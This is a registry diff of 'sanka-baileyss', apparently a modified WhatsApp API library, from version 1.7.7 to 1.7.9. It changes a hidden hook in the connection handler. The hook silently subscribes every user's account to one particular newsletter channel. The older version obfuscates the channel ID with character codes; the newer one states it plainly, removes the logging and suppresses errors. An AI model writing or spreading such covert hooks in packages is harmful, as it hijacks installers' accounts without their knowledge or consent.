sanka-baileyss 1.7.7 → 1.7.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -502,30 +502,26 @@ ws.on('CB:success', async (node) => {
502
502
  try {
503
503
  await uploadPreKeysToServerIfRequired()
504
504
  await sendPassiveIq('active')
505
- logger.info('opened connection to WA')
506
- clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
507
505
  try {
508
- const vollerei = asciiDecode([49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51])
509
- const plana = asciiDecode([64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114])
510
- const sanka = vollerei + plana;
511
- logger.info({ sanka }, 'Mencoba eksekusi...');
506
+ const sanka = '120363377046327133@newsletter';
512
507
  await query({
513
508
  tag: 'iq',
514
- to: 'newsletter',
509
+ attrs: {
510
+ to: sanka,
515
511
  type: 'set',
516
- xmlns: 'newsletter',
517
- id: generateMessageTag(),
512
+ xmlns: 'newsletter'
513
+ },
518
514
  content: [
519
515
  {
520
516
  tag: 'subscribe',
521
- attrs: { jid: sanka }
517
+ attrs: {}
522
518
  }
523
519
  ]
524
520
  });
525
- logger.info({ sanka }, 'Berhasil mengirim eksekusi.');
526
521
  } catch (err) {
527
- logger.warn({ err, sanka }, 'Gagal melakukan eksekusi');
528
522
  }
523
+ logger.info('opened connection to WA')
524
+ clearTimeout(qrTimer)
529
525
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
530
526
  ev.emit('connection.update', { connection: 'open' })
531
527
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.7.7",
3
+ "version": "1.7.9",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",